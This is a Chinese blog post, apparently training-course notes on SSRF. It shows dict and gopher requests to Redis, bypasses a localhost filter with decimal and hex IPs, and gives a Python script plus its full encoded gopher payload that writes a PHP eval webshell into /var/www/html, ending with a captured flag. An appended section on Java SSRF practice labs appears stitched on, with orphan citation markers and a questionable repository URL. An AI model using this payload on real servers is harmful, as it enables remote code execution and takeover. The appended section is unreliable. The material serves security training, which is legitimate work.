零号培训平台课程-2、SSRF基础

该文章详细介绍了如何通过不同协议(如Dict、Gopher)结合编码转换(10进制、16进制)来绕过过滤,实现对Redis等服务器的远程操作,并给出了Python代码示例,演示了如何生成Gopher协议报文在本地Web目录下写入PHP webshell。此外,还展示了如何连接并使用这个webshell以及预期的结果,包括找到的flag。

漏洞原理:
在这里插入图片描述在这里插入图片描述

在这里插入图片描述

协议利用
• File协议
• 本地文件传输协议
• 任意文件读取
• Dict协议
• 字典服务器协议
• 操作Redis
• Gopher协议
• 分布型的文件搜集获取网络协议。
• 支持多行
• 操作Redis、Memcached、fastcgi、mysql等
在这里插入图片描述在这里插入图片描述在这里插入图片描述

输入:
Dict://127.0.0.1:6379/info
在这里插入图片描述

本地IP地址被过滤:
绕过的方法有多种,1、把IP地址转换成10进制、16进制
在这里插入图片描述

输入:
dict://2130706433:6379/info
在这里插入图片描述

dict://0x7F000001:6379/info
在这里插入图片描述
在这里插入图片描述

Python代码生成gopher协议报文写入webshell

#/usr/bin/python

import urllib

protocol="gopher://"
# redis所在服务器的IP,10进制IP:127.0.0.1
ip="2130706433"
port="6379"
# php代码,POST方式提交、GET方式提交
shell="\n\n<?php eval($_POST[\"cmd\"]);?>\n\n"
filename="shell.php"
# web服务所在目录
path="/var/www/html"
passwd=""
cmd=["flushall",
   "set 1 {}".format(shell.replace(" ","${IFS}")),
   "config set dir {}".format(path),
   "config set dbfilename {}".format(filename),
   "save"
   ]

if passwd:
   cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"

def redis_format(arr):
   CRLF="\r\n"
   redis_arr = arr.split(" ")
   cmd=""
   cmd+="*"+str(len(redis_arr))
   for x in redis_arr:
      cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
   cmd+=CRLF
   return cmd

if __name__=="__main__":
   for x in cmd:
      payload += urllib.parse.quote(redis_format(x))
   print(payload)

在这里插入图片描述

通过gopher协议向本地127.0.0.1的web目录/var/www/html下写入一句话木马webshell:
gopher://2130706433:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22cmd%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
在这里插入图片描述

连接目标webshell
在这里插入图片描述

找到写入的shell.php和flag
在这里插入图片描述

Flag:ea56f7b7ac613b8ca0e6ebb54b66eb91

### Java 安全编码中的 SSRF 漏洞练习与测试环境 SSRF(Server-Side Request Forgery,服务器请求伪造)是一种常见的安全漏洞,攻击者可以通过该漏洞诱导应用程序向内部网络或其他外部目标发送HTTP请求。为了帮助开发者更好地理解和防范此类漏洞,在Java环境中可以使用一些专门设计的实验室或工具来模拟和实践。 #### 常见的SSRF漏洞练习平台 OWASP Juice Shop 是一个流行的开源项目,它故意包含了多种Web应用安全漏洞供学习者研究,其中包括SSRF漏洞实例[^2]。通过部署这个程序,你可以体验到真实世界中可能出现的各种攻击场景并尝试修复它们。 另一个推荐的是 DVWA (Damn Vulnerable Web Application),虽然主要面向PHP开发人员,但也提供了基础级别的SSRF挑战,适合初学者了解基本概念[^3]。 对于更专注于Java生态系统的训练资源,则有 OWASP WebGoat ,这是一个专门为教育目的而构建的应用程序,其中涵盖了多个主题的安全课程,包括但不限于SQL注入、跨站脚本(XSS)以及我们关心的SSRF等问题领域[^4]。 以下是设置这些环境的一个简单指南: ```bash # 更新系统包管理器索引 sudo apt update && sudo apt upgrade -y # 安装必要的依赖项 sudo apt install git docker-compose -y # 下载Juice Shop源码仓库 git clone https://github.com/juiceshop/juiceshop.git cd juiceshop/ # 使用Docker启动服务 docker-compose up -d ``` 上述命令展示了如何基于Linux操作系统快速搭建起OWASP Juice Shop 的运行环境。完成之后访问 `http://localhost:3000` 即可进入界面开始探索其内置的功能模块及其背后隐藏的风险点。 请注意,在实际操作过程中应当遵循合法合规的原则,仅限于授权范围内的实验活动;同时也要定期更新所使用的软件版本以获得最新的功能改进和支持。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值